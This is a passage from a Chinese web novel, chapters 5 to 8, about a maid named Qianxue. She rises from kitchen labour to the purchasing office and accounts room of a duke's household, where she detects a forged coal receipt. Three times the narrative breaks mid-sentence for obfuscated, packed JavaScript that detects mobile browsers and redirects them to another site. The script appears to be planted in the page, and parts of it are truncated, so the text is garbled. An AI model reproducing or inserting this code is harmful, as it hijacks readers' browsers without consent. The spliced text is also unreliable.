顺心人又小又瘦，力气也小得像刚钻出土的豆芽。她看着旁边比她脑袋还大的一盆待洗的碗碟，小脸憋得通红，使出吃奶的劲儿，那盆也仅仅离地不到一寸。 旁边一个打杂的大娘瞧着好笑，过来利落地把盆子端走了：“哎呀小丫头，这可不是你干的，去那边帮把手择菜叶子吧，轻省！” 王春花此刻也展现了她接地气的本事。别看她嘴皮子利索爱挑事，切菜配菜的手艺倒是一点不含糊。只见她抄起菜刀，手下“嚓嚓”生风，土豆丝切得又细又快又匀称；萝卜块剁得方方正正大小一致。 她还游刃有余，抽空给旁边的主厨张嫂子递个蒜头、递块姜，嘴里适时地夸一句“张嫂子刀工真好”或“这味儿调得真香”，虽然有点刻意，倒也让被夸的人听了舒坦不少。 统筹的张嫂子瞥了她几眼，点点头没多夸，但那眼神里分明写着：嗯，手底下有点功夫。 千雪则成了最灵活的“补位选手”。这边刚洗完一筐刚送来的小青菜，那边烧火的丫头就喊：“柴火！快添点硬柴！”她立刻跑去抱柴；配菜的师傅喊：“小丫头，去隔壁仓房拿两把干花椒和一挂老姜来！” 她应声就跑见柳叶洗菜洗不过来，她二话不说蹲下去帮忙……手脚不停，目光四路耳听八方，总能在某个地方需要人手时及时补上，绝不让自己有片刻的空闲。 一时间，厨房里人声鼎沸。切菜声、洗涮声、锅铲碰撞声、灶火“呼呼”声和管事们此起彼伏的吆喝指令交织在一起。 荷香嘴闲不住，一边飞快地摘着豆芽，一边见缝插针地压着嗓子给她们这些新人指点江山：“看见那个拎着食盒刚走的婆子没？头发梳得溜光水滑、带个银簪子的？那是三小姐院子里的大丫鬟杜鹃！她来催东西，得赶紧送过去，半点耽误不得！……喏，那个小灶眼上煨着的白玉炖盅，赵妈妈亲自看管呢，那是给老夫人晚上补身子的，谁都别靠近！” 千雪低头帮张嫂子把切好的菜码进簸箕里，听着荷香的絮叨，忙了约莫大半日，千雪的腰都挺不直。 5. 第五章 抢手的人才 忙完那场要命的宴席，日头都西斜了。千雪两条腿跟灌了铅似的，挪一步都疼到后腰。她撑着酸麻的腰，看着冷清下来的厨房，心里第一次涌上浓烈的悔恨。 这国公府的粗使丫鬟，真不是人干的！ 更气人的还在后头！厨房管事赵妈妈和主厨的婆子们得了厚厚一沓赏钱，眉开眼笑地分发给厨房的老人和得力丫头。张嫂子、李婆子乐呵呵接过铜钱，连柳叶、荷香都得了几个！ 只有她们四个新来的，傻站在最后，手心空空，连个油腥味儿都没闻到！ “凭什么啊……”梅子喘着粗气嘟囔，她扛蒸笼扛得最多，力气出的最大，到头来啥也没摸到。 顺心只敢搓自己那通红起皱的手，王春花也累够呛，脸上却没啥意外，好像“就该这样”。 千雪累瘫在通铺上，手指头都不想动，可脑子转得飞快：不能耗在粗使堆里了！干到死也没钱没脸！今天这赏钱凭什么没我的？就因为我新来的、没靠山？ “呸！狗眼看人低！”王春花嗓门扯得老高，眼珠子黏在别人钱袋上，“等我进了厨房，赏钱拿到手软！” 梅子祥林嫂上身一样，又喃喃道：“凭、凭什么没我们的……” 千雪没吭声，她抓住了王春花话里的关键，等我进了厨房！千雪看着王春花，没多久荷香正冲王春花使眼色，王春花便立刻跟了出去。 果然有鬼。 第二日一早赵妈妈身边的小管事婆子张嫂子直接找上珍珠：“珍珠姑娘，王春花手脚麻利会看眼色，梅子力大顶用，赵妈妈开口了，要留她们在大厨房听差。” 珍珠头都没抬：“行，人合用就留着。”轻飘飘一句话，就把人定了。 王春花和梅子立刻欢天喜地跟着张嫂子去了厨房，临走，王春花还特意斜了千雪和顺心一眼，下巴抬得老高，满眼“瞧，我混出头了！”的得意。梅子倒有点懵，但也高兴——厨房管饱！ 屋子里瞬间少了两个人，只剩千雪和顺心。顺心明显慌了神，往千雪身边蹭了蹭，压低声音：“千雪姐……我看见王春花偷偷给荷香塞东西了！还叫‘干姐姐’呢！”她声音更小了，“她……她说每个月月例分荷香一半……” 千雪心道：果然，无利不起早！ 王春花和梅子虽然还睡这儿，但身份不同了！不用天天倒恭桶扫大院子。再看千雪和顺心，依旧刷马桶、洗衣裳、扫院子，干着最脏最累的活计。 王春花这下子尾巴翘上了天！回屋时趾高气扬，故意把几个铜钱晃得叮当响，扯着嗓子说厨房油水多足、赵妈妈多稀罕她能干。句句都冲着千雪和顺心来，眼神扫过千雪时，全是看不起！ “哎呀，厨房这点油星子衣裳真难洗！”王春花捏着鼻子怪叫，“哪像有些人啊，浑身一股子怪味儿，腌入味喽！”她斜着眼瞧千雪晾手巾。 千雪眼皮都没撩一下，手上的活没停，晾得稳稳当当。像是压根没听见王春花放屁。大厨房的忙碌她之前是见识到了，属实是把她累到了。 王春花没撩动，扭着腰走了。 冷清的下人院没几天又被打破了。一个精干妈妈领着八九个新买的小丫鬟鱼贯而入。 正在晾粗布的千雪瞥了一眼，心头顿时一沉！ 这几个新来的丫头，完全不同！一样十三四岁，可皮肤白嫩，好几个眉眼清秀，身段匀称，站在灰扑扑的院子里格外扎眼！尤其打头两三个，柳眉杏眼，唇红齿白，走路还带着点天然娇怯，粗布衣服都盖不住那份水灵劲儿！一看就是精心挑选的好颜色！ 连珍珠都被惊动，亲自出来安排了几句。 千雪默默看着她们被分去别的房间，新丫头们清脆好奇的低语飘来。她心里那点不甘和警惕，瞬间涨成了大浪！ 她想起当初人牙子高婶子的话：她们几个，是别人面子人情塞进来的“搭头”！压根算不上数！ 现在国公府突然买进这么多年轻、漂亮的丫头……绝不是添粗使那么简单！内院？还是别的特殊用途？机会！这两个字猛地砸在她心尖上！ 王春花、梅子算各自找到了窝，顺心怯懦也只能在下人院打转。可她千雪？绝不认命！ 不能再在这最底层熬油灯了！ 升职！必须升职！她垂下眼，掩住所有算计。这不起眼的角落，千雪关于未来的棋，无声无息地开始了布局。 千雪刚扫完一片空地，眼角瞥见厨房库房门口，管事全婶子正对着一个破箩筐和一本油腻发黑的旧册子发愁。 “这鬼画符……认不出啊……‘炭’？不像……‘五斤’？‘三斤’？”全婶子急得直拍大腿，“发少了挨骂，发多了亏库！要命！” 千雪心中一跳！那潦草的墨迹在她眼中无比清晰：腊月十二，领炭五斤……登记人刘三；交回破损陶壶……登记人陈五。 机会！ 她深吸气，脸上迅速换上怯生生的表情，抱着扫帚往前蹭了两步，声音细弱：“嬷嬷……那个……我在乡下……好像见过……” 冻僵的手指点了点模糊的字迹：“尾巴有点像‘炭’……旁边……有点像‘斤’……前面两个墨点……是‘五’吗？”她只挑最容易辨认的磕磕巴巴说出来，毫无威胁感，就是个碰巧有点模糊印象的乡下丫头。 全婶子猛地抬头，浑浊的眼睛瞬间亮了！她反复对照，一拍大腿：“哎哟老天爷！是了是了！炭！五斤！破陶壶！对上了！”困扰半天的难题迎刃而解，她喜出望外，直接塞给千雪一块温热的烤红薯：“好丫头，眼力不错！拿着，暖暖！” 红薯入手带着温热，千雪强压狂喜，只受宠若惊地缩手：“谢谢嬷嬷！”这口吃的，在这冰天雪地里就是天大的犒赏。 没过两天，全婶子惦记上千雪这点“眼力”。她自己认字少，府里领东西的牌子字迹潦草磨损，总有人浑水摸鱼，吵吵嚷嚷，烦得很。她琢磨着，要把这小丫头调来库房边帮忙认牌子，活儿轻省还能避风雪。 她找到厨房管事赵妈妈商量：“赵管事，我那库房门口事儿杂，那些领物的牌子字看不清总闹误会……您看扫地的千雪那丫头，好像能认几个字，手脚也麻利，能不能调来搭把手？主要认认字跑跑腿，也省得她在外面冻坏了……” 赵妈妈正指挥人，闻言眉头紧锁。她对千雪印象本就一般，加上新来的王春花总在她耳边嚼舌根，说千雪“心眼多”、“不安分”。赵妈妈脾气大，新来的丫头敢不安分？下意识就想刁难。 “认字？哼，乡下丫头认几个扁担长的大字就显摆？”赵妈妈声音冷硬，“厨房要的是踏实干活的苦力，不是请先生！” 全婶子心一沉，知道难办，但她是老人儿，赶紧陪笑递梯子：“您说的是！就帮个忙认认牌，认不出也不怪她。主要是府里万一发个新章程、新单子下来，咱厨房也得有个人能瞄一眼不是？多个认字的，您也省心啊！” 这话戳到了点子上。赵妈妈虽然不喜千雪，但厨房留个能认字的备用，总没错。她脸色稍缓，不耐烦地挥手：“行行行，老姐姐你开口……让她先去你那几天帮衬，但粗活不能少干！”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908419|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 全婶子刚喜滋滋转身要去找千雪—— “慢着！”一声带着尖利嗓门的声音插进来！ 只见府里管采买的冯娘子叉腰堵在后门边，旁边跟着她的小厮虎头。全婶心道坏了，这虎头刚才在给厨房送东西，定是听到了什么，给冯娘子报信去了。 冯娘子眼珠一转，脸上全是精明算计，几步冲到赵妈妈跟前： “哟！赵管事！你这厨房还能飞金凤凰？会认字的丫头？”她嗓门拔高，转头就对虎头吼，“去！告诉珍珠，这丫头我要了！调采买处！” “冯管事！你什么意思？”赵妈妈脸黑了，“这是我的人！老全才要用，还没定呢！你就来抢？” “哈？你的人？她能认得米糠袋子就不错了！认字不干采买难道留你厨房数白菜叶子？”冯娘子嘴皮子更利索，声音也更高，“采买处才是正经要看单子的地方！你问问全婶子，”她一指，“丫头在你这还不是扫地？浪费人才！” 全婶子缩在中间不敢吭声。 “老娘说了算！不给也得给！”两人直接吵了起来，越吵越凶，眼看就要在厨房动手。周围下人吓得屏住呼吸，看热闹的王春花眼中闪着幸灾乐祸的光。 珍珠闻声赶来，一见是赵妈妈和冯娘子——一个是国公爷府的老人，一个是国公夫人的陪房！——两边都得罪不起，急得冷汗直冒。她脑子一转，赶紧赔笑：“二位妈妈消消气！我这就去请郑妈妈做主！” 珍珠一溜烟跑了。不多时，头发梳得一丝不乱、神情严肃的郑妈妈被请了来。她锐利的目光一扫，厨房瞬间鸦雀无声。 “怎么回事？”郑妈妈声音不高，却压住全场。 冯娘子抢先叭叭一通，突出采买的“急需”和“不能浪费人才”。赵妈妈紧跟反驳，强调人归她管，对方强抢不合规矩。 郑妈妈目光掠过神色惶恐的千雪（装的），又扫过不远处看热闹的王春花——那脸上毫不掩饰的嫉妒和扭曲的快意，尽收眼底。她略一沉吟，开口，一锤定音： “一个粗使丫头罢了。”她先定调，然后话锋一转，“但识得几个字，扔在雪地里扫大街，确有些……可惜。” 赵妈妈心直往下坠，冯娘子脸上喜色难掩，她和郑妈妈都是大夫人的人，郑妈妈必会向着她？ 郑妈妈看向赵妈妈，语气软中带硬：“府里采买事杂，单子账目多，更需人手。赵管事，你厨房杂役不少，何必争这一个？以后若有识字的粗使丫头，再给你留着。”路彻底堵死。 赵妈妈脸色红了又白。她心知肚明：冯娘子是国公夫人陪房，掌中馈的是国公夫人，郑妈妈是夫人奶娘心腹！这偏袒显而易见！她再憋屈，也只能咬牙低头：“是……郑妈妈说的是。” 郑妈妈转向冯娘子：“人调给你，好好调教。别埋没，也别生事。” “哎哟您放心！”冯娘子喜笑颜开，连声保证，“我准保把她调教出来！”她得意地斜了赵妈妈一眼，朝千雪一招手：“丫头！跟我走！以后你就在府里最重要的采买处当差了！” 油水最肥！几乎写在脸上。 千雪按捺住狂跳的心，低头快步走到冯娘子身后。她没看王春花那张嫉妒到扭曲的脸，也无暇顾及珍珠或全婶子。 她跟着趾高气昂的冯娘子，在赵妈妈铁青的脸色和众杂役各异的目光中尤其是背后那道像要烧穿她的王春花的视线，一步步走出了油烟和苦役的厨房。 脚下的路，通往传闻中油水丰厚、但也必定更加风浪险恶的——成国公府采买处。 6. 第六章好运气的千雪 告别了外院粗使杂役的寒风冷雪，千雪踏入了成国公府采买处的地界。 这里位于外院与内宅的交界，位置敏感又便利。几间规制严谨的排房连成一院，最大的那间门口挂着“采买处”的朱漆牌匾，挨着它的是“账房”的牌子，显然是便于核账对接。 院侧一角设了个小厮值房，靠近一道通往府外巷子的侧门，方便货物和人员进出，气氛明显比外院那边规矩森严得多，也透着管事之地应有的那股忙碌精明劲儿。 冯娘子脚下生风，径直将千雪带进了最大的那间排房。这是她的地盘。冯娘子往正中木椅子上一坐，自有小丫头立刻奉上热茶。 她睨了一眼垂手肃立，低眉顺眼的千雪，随手从旁边高高的账本堆里抽出一本相对不那么厚重的册子，“啪”地一声扔在千雪面前的桌案上，激起一小片灰尘。 “千雪是吧？”冯娘子的声音带着考校的意味，不再有方才在郑妈妈面前故意抬举的那股子夸张，“既把你从那厨房地界要过来，说是能认得几个字……那就让我瞧瞧，这上面的字，你可识得？” 千雪抬头，目光落在封皮上《市价簿》。心中微动。 这是采买处最核心，最基础也最重要的簿籍之一，记录着都城各类瓜果蔬菜，粮面米油，杂货山珍的实时行情价。 想在这里立足，藏着掖着绝非上策，尤其这位冯娘子看着就不是好糊弄的。 她深吸一口气，不再犹豫，决定适当展露价值。伸出手，恭敬地将账本翻开。一股淡淡的墨香和纸张陈味扑面而来。上面的字迹是不同人写的，或工整或潦草，但对她这个“穿越者”而言，辨认并不困难。 她没有立刻开口，而是假装认真辨认了几行，然后指着第一页中间一处记录，“粳米一石，市价纹银二两八钱五分。来源，东市金满仓粮店，二月十七日询。”念完，又翻了两页，指着另一处更潦草的记录，“时鲜，初春新韭，昨日南市码头货船刚抵，上等品，斤三十文钱。记录，李四。” 她的声音不高，但吐字清晰，意思表达准确无误。冯娘子端着茶碗的手微微顿住了，眼中闪过一丝真正的惊讶。 她本只想试个简单名字数目，没想到这丫头念得如此顺畅，连货源地，时间和记录人都一起认了出来？而且这语气……竟不似一般粗使丫头那种胆怯含糊，隐隐透着点条理？ “嗯……”冯娘子放下茶碗，探究的目光更深了，“不错，连人名都认得。看来是真识得些字，不只认个筐笼。” 她顿了一下，“光认得字不算本事，采买处最要紧的是什么？是数目！这上面的钱粮数目，你懂不懂？”她手指点着账本上一串串数字和银子，铜钱的标记。 “奴婢明白。”千雪依旧垂着眼，“纹银，两，钱，分；铜钱，文，贯，吊。数目关系都知晓。” 冯娘子挑眉，“哦？那你看看三月十二这页，黄瓜市价一项，时鲜青皮黄瓜，……斤……二十文？中间那字模糊了，是‘五斤’还是‘三斤’？”她故意点了一个有些模糊的记录。 千雪凑近细看，那“斤”数确实有些不清，“回冯娘子，此处墨迹洇开，确实有些难辨。不过，联系上下文看，前一日黄瓜刚上市，价贵，记的是‘三斤/二十文’。此处笔迹与后两日‘五斤/十五文’的字样不同，且这‘五’字的写法……此处更像撇捺稍连的‘三’字模样。奴婢推断，这里应是‘三斤，十四？文？’这‘十’后面像是还有一点，‘四文’？或‘十文’？奴婢不敢十分确定，但三斤应是对的。” 冯娘子身体微微前倾，眼中精光闪烁，语气不再是试探，而是充满了挖掘宝藏般的热切，“好！很好！心思倒是细！”她盯着千雪，一字一句地问，“那……算盘呢？你可会打？” 到了这一步，千雪知道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908420|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最后的藏拙已无必要。她迎上冯娘子的目光，清晰而肯定地回答，“会。奴婢会打算盘。” “当真？!”冯娘子霍然站起，声音都拔高了几分，脸上是掩饰不住的巨大惊喜！一个粗使丫头，会识文断字，会辨账目，居然还会打算盘？！这简直是天上掉下来的现成人才！捡到宝了！这次真叫自己抢对了！ “虎头！”冯娘子喜得声音都有些发飘，立刻高声召唤她那得力小跟班，“快去！到隔壁账房！立刻去请绿萝姑娘抽个空过来一趟！就说我有要紧事找她！快点！” 虎头应了一声就跑没影了。 冯娘子激动得搓了搓手，来回踱了两步，看千雪的眼神简直像是在看一块未经雕琢的璞玉，“好丫头！好丫头啊！真没想到今日捡了这么个宝贝！” 她走到千雪面前，语气变得热络了些，“等会儿账房的绿萝姑娘过来，你就跟着她！以后就在她手下做事，好好学！账房那些活儿，门道都在她手里捏着呢！” 千雪恭敬应下，“是，奴婢明白。”心中也掀起了波澜。 绿萝！是账房里拔尖儿的大丫鬟！算账点银是一把好手，连冯娘子都要尊称一声“姑娘”！ 冯娘子难掩得意，坐下喝了口茶平复心情，又低声补充了一句，带着点感叹和急迫，“绿萝那丫头，是二小姐从小看中的人，定了要给她做陪嫁的。二小姐六月就要出阁了，她到时候铁定跟着去。这不，账房正着急寻个能顶事的生手来接她的位置呢！你这本事来的是时候！真真是时也，运也！好好干，前途就看这一下了！” 这番话，彻底揭开了冯娘子急切抢人背后真正的布局！她不仅看中了千雪此刻的用处，更瞄准的是账房里即将出现的那个关键空缺！一个能识字，会算账，懂盘算的人，正是填补绿萝离岗的最佳人选！ 千雪的心猛地一跳，看来自己还是有些运气在身上的。 7. 第七章 绿萝师父 深一脚，浅一脚，千雪每天往返于西院大通铺和位于府邸东隅的账房间的路上，感觉自己像个精准打卡的上班族。唯一不同的是，打卡点之间横亘着冰冷的寒风和踩得嘎吱作响的冻雪。 她的新“工位”，是绿萝师父账桌旁一张添置的小几。 绿萝这人，清秀得如同一株冬日兰草，是个清秀利落的姑娘，约莫十八九岁，眼神清亮专注，看账本时自有一股沉静气度。 作为账房里头一份的大丫鬟，她确如传说中那般，是架账盘账的好手，一手算盘打得又快又准，珠子噼啪作响间，复杂的数目便厘得一清二楚。 她没有藏私，教的都是实在的东西。从最简单的银钱换算，一两银子合多少文钱，常用的度量衡石，斗，升，合的区别，到各种单据的登记，核对方法，再到最重要的复式记账技巧，冯娘子用的这套虽不如现代科学，但在这个时代已是相当严谨。 “这笔是进项，要挂这科目……那笔是出库，得挂在另一边，月底汇总才平……单据后面务必黏附清楚，经手画押一个不能少……”绿萝讲得清晰细致，有时也会让千雪上手打几笔账，从旁指点。 千雪起初动作还有些生涩，但得益于穿越前的思维习惯和这段时间的暗中观察积累，理解得很快，上手练习也异常认真专注。绿萝见她一点就透，学得用心，眼中也流露出赞赏。 “你倒是难得的心细肯学。”一日午后，两人核对着采买处刚送来的几沓单据，绿萝看着千雪快速又准确地打着算盘，校对数量金额，不由得感慨了一句。 千雪停下拨动算珠的手，脸上带着真诚的感激，“都是师父教得好，没有师父悉心教导，我还不知要走多少弯路呢。”她这声“师父”唤得真心实意，在账房里也独树一帜，别的丫头和小厮都叫“绿萝姑娘”或“绿萝姐姐”。 绿萝被她这郑重其事的一声“师父”叫得微微一怔，随即唇边漾开一丝温和的笑意，轻轻“嗯”了一声，“知道上进就好。在我这里能学到多少，全看你自己。我……顶多再教你五个多月了。”二小姐虽然婚期在六月但她肯定要提前准备东西，到时候人便不在采买处了。 这句话里的意思很明白，千雪连忙应道，“我晓得的，一定尽心尽力，绝不给师父丢脸！” 她知道绿萝倾囊相授，既是因为其本身品性端方负责，也是因为离了府里去到小姐新家，她这边的得失与绿萝再无直接利害关系。 教会了千雪，账房运转顺畅，也是替她将来看管二小姐陪嫁产业打下点基础，左右都不亏。但这份豁达和提携，让千雪记在了心里，暗暗想着等得了赏钱或领了月例，一定要想法子买点实用的东西感谢一下绿萝。 绿萝似乎挺受用她这认真的态度，教的也更细致了些，偶尔还会提点些账房外的人情世故。 这段时间的深入接触和用心观察，也让千雪对这个看似平静的采买处，乃至整个成国公府的内里格局，有了更清晰的认知。 冯娘子——这位采买处的一把手，果然是国公夫人当年的陪嫁丫鬟出身，是夫人真正的自己人！她精明干练，御下颇严，那张嘴训起人来毫不留情，一点小错都能被她挑出来骂得狗血淋头。 但千雪也观察到，她对真正做事用心，不出大错的自己人，其实有护短的一面。比如厨房偶尔送来损耗超支但情有可原的清单，她会骂骂咧咧地在单子上签押，却很少真的去深究细查，更不会为这点小事让夫人院子里的管事妈妈们为难。 是典型的“刀子嘴，豆腐心”，或者说，护着自家盘子里的利益。 这“豆腐心”的边界也很分明——那就是国公夫人以及夫人陪嫁团队的圈子。 至于大厨房管事赵妈妈，则是老公国爷在时就当差的老资格老人了。以赵妈妈为首的一批厨房，库房乃至外院 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15908421|176833||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 某些杂役管事，多是老国公爷旧部的遗孀或家生子，自成一派如今的主心骨是老夫人。 而那位地位超然的郑妈妈，是国公夫人奶娘！她是夫人心腹中的心腹，堪称掌管内宅事务的第一人！所有人事，采买，库房用度，最终都绕不过她去。她一句话，就能像当日调千雪一样，决定无数人的前途位置。 至于前些日子下人院里新来的那批水灵灵，模样拔尖儿的小丫头……绿萝告诉千雪那是为了给即将六月出阁的二小姐挑选陪嫁丫鬟！还有后面的三小姐四小姐都要备着，府里早就传开了，二小姐的婚期已定，挑选的陪嫁丫鬟需得模样整齐，身段好，行事妥帖的，以后可是需要在姑爷那里帮着笼络人心的。 得知真相的千雪摸了摸自己的脸，暗自松了口气，这身子容貌清秀，眉目干净，算得上端正，但绝非那种令人一见惊艳的美人胚子。 幸好啊幸好！她才不想卷进那注定复杂又身不由己的陪嫁队伍里去！给小姐当贴身大丫鬟听起来虽好，可那新府邸是福是祸谁知道？哪有在国公府里，凭借本事逐步往上爬来得踏实安稳？ 采买处，确实油水丰厚，单单这账房经手的流水，数额就远超外院粗使丫头所能想象。冯娘子时不时让人去街上买些时新果子或糕点回来分给底下得力的人，油纸包的香味弥漫开来时，连隔壁院子里当值的小厮都忍不住探头张望。这份“福利”，让初来乍到的千雪切身体会到了“油水最足”四个字的分量。 然而，“有利可图之处必生是非”。这份油水也像一块诱人的肥肉，吸引着各方的目光。 账房里绿萝离开在即，这个接替位置的重要性不言而喻。府里府外，采买处的运作涉及到多少人的利益纠葛？千雪已经敏锐地感受到，明里暗里，有不少目光在悄悄打量她这个被冯娘子“空降”进账房的生面孔。 千雪觉得肯定会有人背后给自己使绊子。 8. 第八章 搞事 寒风卷着细碎的雪沫，刮过抄手游廊，钻进千雪的领口，激得她一个哆嗦。她紧了紧略显单薄的夹袄，加快了脚步。从西院大通铺到东隅账房这段路，积雪被踩得板实，深一脚浅一脚，每一步都带着刺骨的寒意和嘎吱的声响。她心里惦记着今日要核对的那批年节采买的单据，脚步不敢有丝毫懈怠。 账房里，炭盆烧得正旺，驱散了外间的严寒。绿萝已端坐在她的账桌后，正凝神看着一本厚厚的账簿，手指无意识地在算盘上轻轻点着，发出细微的嗒嗒声。 千雪轻手轻脚走到自己的小几旁，放下随身的小布包，先给绿萝手边的茶杯续上热水，这才坐下，摊开纸笔，准备开始一天的工作。 “千雪，”绿萝抬起头，清亮的眸子看向她，“今日冯娘子要去城外庄子上处理一批陈粮的急事，晌午前怕是回不来。郑妈妈那边也派人来传话，让我巳时三刻过去一趟，对一对小姐陪嫁器物库的账目。这半日，账房就交给你了。” 她顿了顿，指着桌角一摞新送来的单据，“这些是厨房刚递来的，有几笔是急用，需要今日登记入册。你仔细些，按规矩来，莫要出错。” 千雪心头一凛，冯娘子和绿萝同时不在？这情形让她瞬间想起绿萝师父之前的提醒——“明里暗里，有不少目光在悄悄打量”。 她面上不显，恭敬应道，“是，师父放心，我定当尽心。” 绿萝看着她沉静认真的神色，眼中闪过一丝欣慰，又低声提点了一句，“尤其是大额采买，务必看清单据是否齐全，库房回执，经手画押，一个都不能少。宁可慢些，不可错漏。” “我谨记。”千雪用力点头，将师父的叮嘱刻在心里。 绿萝走后，账房显得格外安静，只有炭火偶尔爆出的噼啪声和千雪翻阅纸张的沙沙声。 她先处理了几笔小额零碎的单据，核对无误后登记入册，动作流畅。然而，当她拿起厨房送来那沓单据最上面一张时，眉头几不可查地蹙了一下。 这是一张采购十担上等霜降炭的单据。金额栏赫然写着“纹银八十两整”。 千雪的心猛地一跳。她记得前几日才登记过一批霜降炭，当时五担的价格是三十两，单价六两一担。就算年节紧俏，上等炭涨价，也绝无可能翻倍到八两一担！这价格高得离谱。 她立刻翻开自己藏在抽屉深处的一个小册子——那是她私下记录的常用物料市价波动。霜降炭近期最高也不过七两出头。八十两？这绝对有问题！ 更让她警觉的是，这张单据上，只有厨房管事赵妈妈龙飞凤舞的签名，下方本该粘贴库房验收入库回执副联的位置，空空如也！ 绿萝师父的叮嘱言犹在耳，“大额采买，无库房回执，单据不全，不得入账！” 就在这时，账房的门帘被掀开，采买处的张副管事走了进来。他四十上下，面容普通，总是带着一副勤勉谦恭的表情，此刻手里拿着一叠货单，像是来对账的。 “林姑娘忙着呢？”张副管事笑呵呵地走近，目光状似无意地扫过千雪摊在桌上的单据，“哟，这不是厨房急要的那笔炭款单子吗？赵妈妈那边催得紧，说等着支银子呢。冯娘子下午回来就要汇总报给郑妈妈过目，你看是不是先把这个登了？” 他语气温和，带着催促的意味。 千雪心中警铃大作。时间点卡得太巧了！冯娘子和绿萝都不在，他就来催这张问题单据？她面上不动声色，拿起那张单据，露出恰到好处的为难，“张副管事，这单据……好像不全啊？库房的回执副联没见着。” 张副管事“哦”了一声，一拍脑门，“瞧我这记性！库房那边今儿个忙得脚不沾地，说是点验完了，回执晚点就补过来。你先登着，回头补上就是，赵妈妈那边实在等急了，灶上等着炭用呢。”他顿了顿，又补充道，“数额不小，你登的时候可仔细点，别写错了。” 他看似关切，眼神却紧紧盯着千雪握笔的手。 千雪心念电转。她早上整理单据时，明明在一堆厨房单子里见过一张带着库房骑缝章，金额写着“六十两”的霜降炭单据！那张单据去哪了？是被抽走了？还是…… 她假意顺从地拿起笔，蘸了墨，对着那张假单上的金额，悬腕欲写。张副管事嘴角似乎勾起一丝不易察觉的弧度。 就在笔尖即将落下的瞬间，千雪的手顿住了。她像是忽然想起什么，放下笔，歉意地对张副管事笑笑，“张副管事稍等，这笔数额太大，我得再对对前几日的账，免得记混了。”说着，她开始翻找桌面上其他的单据和账册，动作看似随意，目光却锐利地扫过桌角，抽屉缝隙，甚至脚下。 张副管事眼中闪过一丝不耐，但也不好催促，只得干站着。 千雪的心跳得飞快。她强自镇定，一边翻找，一边回忆那张真单据可能的去向。忽然，她眼角余光瞥见小几靠墙的角落，一沓废弃的草稿纸下，似乎露出一个熟悉的纸张边角。她不动声色地挪过去，借着整理纸张的动作，手指迅速探入纸堆底部，指尖触到了一张被揉得有些发皱，边缘还被撕掉一个小角的单据！ 她心脏狂跳，借着身体的遮挡，迅速将那张纸抽了出来，飞快扫了一眼——正是那张金额“六十两整”，下方贴着盖有库房小印的收货副联的真单据！ 寒意瞬间从脚底窜上头顶。果然！有人偷梁换柱！ 她深吸一口气，将真单据迅速塞进贴身夹袄的内袋里，冰凉的纸张贴着温热的皮肤，带来一丝奇异的镇定。她转过身，脸上已恢复了平静，甚至带着一丝“终于找到”的轻松，“找到了，前几日的账在这儿。张副管事，我这就登记。” 她重新拿起笔，这一次，落笔没有丝毫犹豫。她模仿着自己平日的笔迹，却刻意在书写那个“八十两”的数字时，让笔锋显得略微生硬，仿佛是不小心写错了。登记完毕，她将那张假单单独放在一边，并未在“经手人”处签押，只对张副管事道，“登好了，等库房回执补来，我再签押归档。” 张副管事看着账册上那醒目的“八十两”，眼中掠过一丝得逞的阴鸷，面上却堆起笑，“好好，林姑娘办事麻利。回执我待会儿就让人送来。”说完，便拿着他的货单匆匆离开了。 千雪看着他消失的背影，手心沁出冷汗。她知道，这只是开始。风暴，将在冯娘子回来后降临。 午后，冯娘子带着一身寒气回到账房，脸色因奔波而略显疲惫。绿萝也刚回来不久，正低声跟冯娘子汇报着什么。 张副管事几乎是掐着点出现的，手里拿着几张单据，一脸焦急和沉重。 “冯娘子！您可回来了！出事了！”他几步冲到冯娘子面前，将账册翻开到千雪登记的那一页，手指颤抖地指着那“八十两”的炭款，“您看看！这……这林姑娘登的账！十担霜降炭，她竟记成了八十两！这……这足足比市价高出一倍还多啊！这错漏也太大了！这要是报上去，我们采买处……” 他声音洪亮，带着痛心疾首的指责，瞬间吸引了账房内外所有人的目光。几个探头探脑的小厮和丫鬟都竖起了耳朵。 冯娘子脸色骤变，目光如刀般射向那账册上的数字，又猛地转向站在小几旁，脸色微微发白的千雪。绿萝也皱紧了眉头，看向千雪的眼神充满惊疑和担忧。 “千雪！”冯娘子的声音冷得像冰，“这是怎么回事？！” 红玉不知何时也凑了过来，小声嘀咕，“是啊，当时张副管事催得急，我看她手忙脚乱的……” 千雪在众人或指责，或怀疑，或幸灾乐祸的目光中，缓缓抬起头。她没有惊慌失措，反而深吸一口气，对着冯娘子和绿萝深深一福，声音清晰而带着一丝恰到好处的惶恐，“冯娘子，绿萝师父，我该死！登记时可能一时眼花，写错了数字！请娘子责罚！” 她这“认错”的态度让张副管事眼中得意更甚。 